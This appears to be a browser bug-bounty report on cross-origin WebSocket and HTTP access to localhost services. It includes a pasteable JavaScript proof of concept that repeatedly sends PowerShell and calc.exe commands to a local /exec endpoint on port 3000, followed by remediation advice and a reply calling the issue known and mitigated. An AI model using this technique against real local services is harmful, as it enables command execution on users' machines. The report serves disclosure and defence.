Cross-Origin WebSocket and HTTP Access to Localhost Services Leading to Potential Remote Code Execution in Insecure Local Applications
Categories
(Core :: Networking, defect)
Tracking
()
People
(Reporter: ecdnts, Unassigned)
Details
(Keywords: reporter-external, Whiteboard: [client-bounty-form])
Attachments
(2 files)
A malicious website can establish WebSocket and HTTP connections to a local service running on 127.0.0.1:3000 without the user’s awareness.
Modern browsers allow requests from a public origin to interact with services hosted on localhost. If a local application accepts incoming connections without proper authentication, authorization, or input validation, this behavior can be abused to send malicious payloads.
In insecure implementations, this may result in the execution of arbitrary system commands on the host machine.
Steps to Reproduce
1. Start Local Service
Run the vulnerable local service:
node rces.js
2. Open Browser
Open a public website (e.g., https://www.google.com) using a clean browser profile.
3. Open Developer Tools
Open the browser console and paste the following JavaScript PoC:
const log = (m) => console.log("> " + m);
// Payload (NOTE: only forwarded to local service, not executed by browser)
const filePayload = 'powershell -Command "Set-Content -Path $env:USERPROFILE\\Desktop\\VULNERABLE.txt -Value \'TEST\'"';
const calcPayload = 'calc.exe';
function inject() {
const targets = ["127.0.0.1", "0.0.0.0", "localhost"];
targets.forEach(ip => {
log(`Testing ${ip}...`);
// 1. WebSocket
try {
const ws = new WebSocket(`ws://${ip}:3000`);
ws.onopen = () => {
log(`[WS CONNECTED] ${ip}`);
ws.send(filePayload);
ws.send(calcPayload);
};
ws.onerror = () => {
log(`[WS ERROR] ${ip}`);
};
} catch (e) {
log(`[WS FAIL] ${ip}`);
}
// 2. Beacon request
try {
navigator.sendBeacon(
`http://${ip}:3000/exec?cmd=${encodeURIComponent(filePayload)}`
);
log(`[BEACON SENT] ${ip}`);
} catch (e) {}
// 3. Image fallback request
try {
const img = new Image();
img.src = `http://${ip}:3000/exec?cmd=${encodeURIComponent(calcPayload)}`;
log(`[IMG SENT] ${ip}`);
} catch (e) {}
});
}
// Run once
log("Starting test...");
inject();
// Repeat every 10 seconds
setInterval(inject, 10000);
4. Observe Behavior
- WebSocket connection to
ws://127.0.0.1:3000is successfully established - HTTP requests to
http://127.0.0.1:3000/execare accepted - The local service processes attacker-controlled input
Impact
If a local service is exposed and lacks proper security controls, this issue may lead to:
- Unauthorized interaction with local applications
- Abuse of internal-only services from external websites
- Execution of system commands in insecure local services
- Potential Remote Code Execution (RCE) on the host machine
Root Cause
- Browsers allow cross-origin requests to
localhost - No authentication or origin validation on the local service
- Unsafe handling of user-controlled input (command execution)
Recommendations
- Implement authentication for all local services
- Validate and sanitize all incoming input
- Restrict allowed origins (e.g., check
Origin/Hostheaders) - Avoid exposing command execution functionality over HTTP/WebSocket
- Bind services to secure interfaces and use firewall restrictions where possible
| Reporter | ||
Comment 1•1 month ago
|
||
| Reporter | ||
Comment 2•1 month ago
|
||
| Reporter | ||
Comment 3•1 month ago
|
||
You can also do it in other ways, such as the method below.
run node rces.js
| Reporter | ||
Updated•1 month ago
|
Updated•1 month ago
|
Comment 4•1 month ago
|
||
This is a well known that has been mitigated by local-network-access
Updated•1 month ago
|
Description
•